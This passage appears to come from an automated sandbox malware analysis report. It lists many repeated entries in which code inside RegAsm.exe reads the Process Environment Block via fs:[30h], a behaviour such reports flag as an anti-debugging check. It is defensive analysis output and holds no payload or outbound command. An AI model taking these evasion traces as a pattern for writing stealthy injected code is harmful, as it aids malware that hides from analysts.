                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov ecx, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov ecx, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C0 mov eax, dword ptr fs:[00000030h]5_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031250D9 mov eax, dword ptr fs:[00000030h]5_2_031250D9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CD0C0 mov eax, dword ptr fs:[00000030h]5_2_030CD0C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CD0C0 mov eax, dword ptr fs:[00000030h]5_2_030CD0C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D20DE mov eax, dword ptr fs:[00000030h]5_2_030D20DE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030790DB mov eax, dword ptr fs:[00000030h]5_2_030790DB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030750E4 mov eax, dword ptr fs:[00000030h]5_2_030750E4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030750E4 mov ecx, dword ptr fs:[00000030h]5_2_030750E4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304A0E3 mov ecx, dword ptr fs:[00000030h]5_2_0304A0E3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030580E9 mov eax, dword ptr fs:[00000030h]5_2_030580E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304C0F0 mov eax, dword ptr fs:[00000030h]5_2_0304C0F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030920F0 mov ecx, dword ptr fs:[00000030h]5_2_030920F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03057703 mov eax, dword ptr fs:[00000030h]5_2_03057703
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03055702 mov eax, dword ptr fs:[00000030h]5_2_03055702
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03055702 mov eax, dword ptr fs:[00000030h]5_2_03055702
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308C700 mov eax, dword ptr fs:[00000030h]5_2_0308C700
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03050710 mov eax, dword ptr fs:[00000030h]5_2_03050710
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308F71F mov eax, dword ptr fs:[00000030h]5_2_0308F71F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308F71F mov eax, dword ptr fs:[00000030h]5_2_0308F71F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03080710 mov eax, dword ptr fs:[00000030h]5_2_03080710
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03053720 mov eax, dword ptr fs:[00000030h]5_2_03053720
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306F720 mov eax, dword ptr fs:[00000030h]5_2_0306F720
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306F720 mov eax, dword ptr fs:[00000030h]5_2_0306F720
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306F720 mov eax, dword ptr fs:[00000030h]5_2_0306F720
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308C720 mov eax, dword ptr fs:[00000030h]5_2_0308C720
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308C720 mov eax, dword ptr fs:[00000030h]5_2_0308C720
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0312B73C mov eax, dword ptr fs:[00000030h]5_2_0312B73C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0312B73C mov eax, dword ptr fs:[00000030h]5_2_0312B73C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0312B73C mov eax, dword ptr fs:[00000030h]5_2_0312B73C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0312B73C mov eax, dword ptr fs:[00000030h]5_2_0312B73C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308273C mov eax, dword ptr fs:[00000030h]5_2_0308273C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308273C mov ecx, dword ptr fs:[00000030h]5_2_0308273C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308273C mov eax, dword ptr fs:[00000030h]5_2_0308273C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049730 mov eax, dword ptr fs:[00000030h]5_2_03049730
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03049730 mov eax, dword ptr fs:[00000030h]5_2_03049730
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311972B mov eax, dword ptr fs:[00000030h]5_2_0311972B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CC730 mov eax, dword ptr fs:[00000030h]5_2_030CC730
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03085734 mov eax, dword ptr fs:[00000030h]5_2_03085734
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310F72E mov eax, dword ptr fs:[00000030h]5_2_0310F72E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305973A mov eax, dword ptr fs:[00000030h]5_2_0305973A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305973A mov eax, dword ptr fs:[00000030h]5_2_0305973A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308674D mov esi, dword ptr fs:[00000030h]5_2_0308674D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308674D mov eax, dword ptr fs:[00000030h]5_2_0308674D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308674D mov eax, dword ptr fs:[00000030h]5_2_0308674D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03063740 mov eax, dword ptr fs:[00000030h]5_2_03063740
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03063740 mov eax, dword ptr fs:[00000030h]5_2_03063740
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03063740 mov eax, dword ptr fs:[00000030h]5_2_03063740
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03050750 mov eax, dword ptr fs:[00000030h]5_2_03050750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D4755 mov eax, dword ptr fs:[00000030h]5_2_030D4755
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092750 mov eax, dword ptr fs:[00000030h]5_2_03092750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092750 mov eax, dword ptr fs:[00000030h]5_2_03092750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03123749 mov eax, dword ptr fs:[00000030h]5_2_03123749
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B765 mov eax, dword ptr fs:[00000030h]5_2_0304B765
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B765 mov eax, dword ptr fs:[00000030h]5_2_0304B765
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B765 mov eax, dword ptr fs:[00000030h]5_2_0304B765
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304B765 mov eax, dword ptr fs:[00000030h]5_2_0304B765
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03058770 mov eax, dword ptr fs:[00000030h]5_2_03058770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060770 mov eax, dword ptr fs:[00000030h]5_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310F78A mov eax, dword ptr fs:[00000030h]5_2_0310F78A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030DF7AF mov eax, dword ptr fs:[00000030h]5_2_030DF7AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030DF7AF mov eax, dword ptr fs:[00000030h]5_2_030DF7AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030DF7AF mov eax, dword ptr fs:[00000030h]5_2_030DF7AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030DF7AF mov eax, dword ptr fs:[00000030h]5_2_030DF7AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030DF7AF mov eax, dword ptr fs:[00000030h]5_2_030DF7AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031237B6 mov eax, dword ptr fs:[00000030h]5_2_031237B6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D97A9 mov eax, dword ptr fs:[00000030h]5_2_030D97A9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030507AF mov eax, dword ptr fs:[00000030h]5_2_030507AF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307D7B0 mov eax, dword ptr fs:[00000030h]5_2_0307D7B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F7BA mov eax, dword ptr fs:[00000030h]5_2_0304F7BA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305C7C0 mov eax, dword ptr fs:[00000030h]5_2_0305C7C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030557C0 mov eax, dword ptr fs:[00000030h]5_2_030557C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030557C0 mov eax, dword ptr fs:[00000030h]5_2_030557C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030557C0 mov eax, dword ptr fs:[00000030h]5_2_030557C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D07C3 mov eax, dword ptr fs:[00000030h]5_2_030D07C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305D7E0 mov ecx, dword ptr fs:[00000030h]5_2_0305D7E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030727ED mov eax, dword ptr fs:[00000030h]5_2_030727ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030727ED mov eax, dword ptr fs:[00000030h]5_2_030727ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030727ED mov eax, dword ptr fs:[00000030h]5_2_030727ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030547FB mov eax, dword ptr fs:[00000030h]5_2_030547FB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030547FB mov eax, dword ptr fs:[00000030h]5_2_030547FB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CE609 mov eax, dword ptr fs:[00000030h]5_2_030CE609
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308F603 mov eax, dword ptr fs:[00000030h]5_2_0308F603
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306260B mov eax, dword ptr fs:[00000030h]5_2_0306260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306260B mov eax, dword ptr fs:[00000030h]5_2_0306260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306260B mov eax, dword ptr fs:[00000030h]5_2_0306260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306260B mov eax, dword ptr fs:[00000030h]5_2_0306260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306260B mov eax, dword ptr fs:[00000030h]5_2_0306260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306260B mov eax, dword ptr fs:[00000030h]5_2_0306260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306260B mov eax, dword ptr fs:[00000030h]5_2_0306260B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03081607 mov eax, dword ptr fs:[00000030h]5_2_03081607
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092619 mov eax, dword ptr fs:[00000030h]5_2_03092619
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03053616 mov eax, dword ptr fs:[00000030h]5_2_03053616
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03053616 mov eax, dword ptr fs:[00000030h]5_2_03053616
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E627 mov eax, dword ptr fs:[00000030h]5_2_0306E627
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F626 mov eax, dword ptr fs:[00000030h]5_2_0304F626
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03125636 mov eax, dword ptr fs:[00000030h]5_2_03125636
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03086620 mov eax, dword ptr fs:[00000030h]5_2_03086620
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03088620 mov eax, dword ptr fs:[00000030h]5_2_03088620
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305262C mov eax, dword ptr fs:[00000030h]5_2_0305262C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306C640 mov eax, dword ptr fs:[00000030h]5_2_0306C640
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308A660 mov eax, dword ptr fs:[00000030h]5_2_0308A660
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308A660 mov eax, dword ptr fs:[00000030h]5_2_0308A660
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03089660 mov eax, dword ptr fs:[00000030h]5_2_03089660
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03089660 mov eax, dword ptr fs:[00000030h]5_2_03089660
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03082674 mov eax, dword ptr fs:[00000030h]5_2_03082674
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311866E mov eax, dword ptr fs:[00000030h]5_2_0311866E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311866E mov eax, dword ptr fs:[00000030h]5_2_0311866E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D368C mov eax, dword ptr fs:[00000030h]5_2_030D368C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D368C mov eax, dword ptr fs:[00000030h]5_2_030D368C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D368C mov eax, dword ptr fs:[00000030h]5_2_030D368C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D368C mov eax, dword ptr fs:[00000030h]5_2_030D368C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03054690 mov eax, dword ptr fs:[00000030h]5_2_03054690
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03054690 mov eax, dword ptr fs:[00000030h]5_2_03054690
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304D6AA mov eax, dword ptr fs:[00000030h]5_2_0304D6AA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304D6AA mov eax, dword ptr fs:[00000030h]5_2_0304D6AA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308C6A6 mov eax, dword ptr fs:[00000030h]5_2_0308C6A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030476B2 mov eax, dword ptr fs:[00000030h]5_2_030476B2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030476B2 mov eax, dword ptr fs:[00000030h]5_2_030476B2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030476B2 mov eax, dword ptr fs:[00000030h]5_2_030476B2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030866B0 mov eax, dword ptr fs:[00000030h]5_2_030866B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305B6C0 mov eax, dword ptr fs:[00000030h]5_2_0305B6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305B6C0 mov eax, dword ptr fs:[00000030h]5_2_0305B6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305B6C0 mov eax, dword ptr fs:[00000030h]5_2_0305B6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305B6C0 mov eax, dword ptr fs:[00000030h]5_2_0305B6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305B6C0 mov eax, dword ptr fs:[00000030h]5_2_0305B6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305B6C0 mov eax, dword ptr fs:[00000030h]5_2_0305B6C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030816CF mov eax, dword ptr fs:[00000030h]5_2_030816CF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308A6C7 mov ebx, dword ptr fs:[00000030h]5_2_0308A6C7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308A6C7 mov eax, dword ptr fs:[00000030h]5_2_0308A6C7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310F6C7 mov eax, dword ptr fs:[00000030h]5_2_0310F6C7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031116CC mov eax, dword ptr fs:[00000030h]5_2_031116CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031116CC mov eax, dword ptr fs:[00000030h]5_2_031116CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031116CC mov eax, dword ptr fs:[00000030h]5_2_031116CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031116CC mov eax, dword ptr fs:[00000030h]5_2_031116CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310D6F0 mov eax, dword ptr fs:[00000030h]5_2_0310D6F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E36EE mov eax, dword ptr fs:[00000030h]5_2_030E36EE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E36EE mov eax, dword ptr fs:[00000030h]5_2_030E36EE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E36EE mov eax, dword ptr fs:[00000030h]5_2_030E36EE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E36EE mov eax, dword ptr fs:[00000030h]5_2_030E36EE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E36EE mov eax, dword ptr fs:[00000030h]5_2_030E36EE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030E36EE mov eax, dword ptr fs:[00000030h]5_2_030E36EE
